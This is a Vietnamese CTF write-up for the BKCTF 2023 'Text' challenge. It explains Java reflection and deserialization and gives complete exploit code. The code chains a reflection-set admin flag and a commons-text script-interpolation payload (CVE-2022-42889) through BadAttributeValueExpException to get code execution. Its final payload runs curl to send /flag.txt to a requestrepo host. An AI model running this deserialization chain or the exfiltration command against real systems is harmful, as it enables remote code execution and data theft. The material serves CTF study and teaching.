Tiếp tục với phần 2 này mình sẽ làm một số bài CTF, để chi tiết hơn về các áp dụng Reflection
Text
(BKCTF 2023)Link download src: https://github.com/onsra03/WriteUp_CTF/blob/main/bkctf2023-textext.zip
Sau khi các bạn tải về, truy cập vào folder như sau:
Ở đây mình setup trên windows, nên mình sử dụng Docker Desktop
Run Docker app lên và sử dụng command sau: ./build-docker.sh
hoặc bash build-docker.sh
đều được nha.
Truy cập http://localhost:1337/text/get-name
Tiếp theo là setup bằng IntelliJ để debug.
(Nếu mọi người có mail sinh viên edu thì được dùng free)
Tạo mới 1 project như sau:
Tiếp theo sẽ add SDK và Lib vào project, sử dụng tổ hợp Ctrl + Shift + Alt + S
Mình sử dụng jdk-8u202
và lib thì có ở trong src
Tiếp theo mình sẽ tạo class Player
:
package com.text.controller;
import java.io.Serializable;
import org.apache.commons.text.StringSubstitutor;
/* loaded from: Player.class */
public class Player implements Serializable {
private String name = "cc";
private boolean isAdmin;
public String getName() {
return this.name;
}
public boolean isAdmin() {
return this.isAdmin;
}
public String toString() {
String output = "";
if (isAdmin()) {
try {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
output = stringSubstitutor.replace(this.name);
} catch (Exception e) {
output = "???????";
}
}
return "Hello" + output + "!";
}
}
Class file này từ file text.war
, các bạn có thể sử dụng JADX để đọc 2 file class trong đó nha. Ở đây mình đã mô phỏng lại.
OK tiếp tục mình tạo thêm 1 class file là Exploit để test:
package com.text.controller;
import org.apache.commons.text.StringSubstitutor;
import java.lang.reflect.Field;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exploit {
static String serializeAndEncode(Object object) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(object);
oos.close();
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
Player b = new Player();
System.out.println(serializeAndEncode(b));
}
}
Vậy là phần setup hoàn thiện, bây giờ mình sẽ chuyển qua phân tích và khai thác lỗi của bài:
Đầu tiên mình sẽ kiểm tra qua các api xử lí của bài, ở file PlayerController:
@WebServlet(urlPatterns = {"/get-name"})
/* loaded from: PlayerController.class */
public class PlayerController extends HttpServlet implements Serializable {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
String player = req.getParameter("player");
try {
byte[] data = Base64.getDecoder().decode(player);
InputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
Player user = (Player) obj;
out.println("<h1> Hello: " + user.getName() + " !</h1>");
} catch (Exception e) {
out.println("<h1> ????????? </h1>");
}
}
}
Đoạn code có một entrypoint /get-name nhận vào một param player
, tiếp tục nó sẽ decode base64 và unserialize rồi gọi ra getName()
của obj.
Nếu vào trường hợp ngoại lệ thì sẽ in ra ??????????
Đoạn code trong Player.class
:
public class Player implements Serializable {
private String name = "player";
private boolean isAdmin;
public String getName() {
return this.name;
}
public boolean isAdmin() {
return this.isAdmin;
}
public String toString() {
String output = "";
if (isAdmin()) {
try {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
output = stringSubstitutor.replace(this.name);
} catch (Exception e) {
output = "???????";
}
}
return "Hello" + output + "!";
}
}
Quay lại IntelliJ nãy để mình gen ra chuỗi input, ở String name trong Player mình sẽ sửa chuỗi thành onsra
và qua Exploit class để gen.
org.apache.commons.text
, class này replace name mà mình đưa vào, tương tự như các template engineMột điều nữa, lib ở đây chúng ta sử dụng là commons-text-1.9
sẽ bị ảnh hưởng bởi CVE sau: https://commons.apache.org/proper/commons-text/security.html. (CVE này sẽ ảnh hưởng đến những version < 1.10.0)
Exploit CVE này: https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHECOMMONS-3043138
Code thực hiện như sau:
package com.text.controller;
import org.apache.commons.text.StringSubstitutor;
import java.lang.reflect.Field;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exploit {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Player a = new Player();
System.out.println(a.isAdmin());
//change
Class<?> myClass = a.getClass();
Field isAdmin = myClass.getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.set(a,true);
System.out.println(a.isAdmin());
}
}
Sau khi run thì ta có thể thấy giá trị Admin giờ là true.
First toString()it appears in the CC5 chain as a calling method. The entrance to the CC5 chain is BadAttributeValueExpException.readObject()
// Class BadAttributeValueExpException in BadAttributeValueExpException.java
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
Với ý tưởng là mình sẽ thay thế valObj
bằng Player
để kích hoạt Player.toString
package com.text.controller;
import org.apache.commons.text.StringSubstitutor;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exploit {
static String serializeAndEncode(Object object) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(object);
oos.close();
byte[] bytes = bos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Player a = new Player();
System.out.println(a.isAdmin());
//change
Class<?> myClass = a.getClass();
Field isAdmin = myClass.getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.set(a,true);
// System.out.println(serializeAndEncode(a));
Field name = myClass.getDeclaredField("name");
name.setAccessible(true);
name.set(a,"${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}");
// System.out.println(serializeAndEncode(a));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123123);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, a);
System.out.println(serializeAndEncode(badAttributeValueExpException));
}
}
Đoạn code trên là những gì mình đã giải thích, change Player thành Admin, và sử dụng payload CVE, cuối cùng là trigger toString.
Đến đây ta có thể tạo thêm một class nữa PlayerController
để test payload trên local của mình.
//PlayController.class
package com.text.controller;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Base64;
public class PlayerController implements Serializable {
public static void main(String[] args){
String player = "payload base64";
try {
byte[] data = Base64.getDecoder().decode(player);
InputStream is = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(is);
Object obj = ois.readObject();
ois.close();
Player user = (Player) obj;
System.out.println("<h1> Hello: " + user.getName() + " !</h1>");
} catch (Exception e) {
System.out.println("<h1> ????????? </h1>");
}
}
}
Sau khi run file Exploit.class để lấy payload base64
Ta sẽ đưa qua PlayerController:
Vậy là đã thành công gọi calc popup.
Việc còn lại là lấy flag, khi setup thì ta biết flag nằm ở root, bằng cách sử dụng command curl -d @/flag.txt http://linkrequestrepo
Final payload chỉ cần thay ở đoạn command như sau:
name.set(a,"${script:javascript:java.lang.Runtime.getRuntime().exec('curl -d @/flag.txt http://6jgdyb66.requestrepo.com')}");
Nhớ urlencode đoạn payload base64, vì có một số kí tự + nó sẽ hiểu là space nên request bị sai.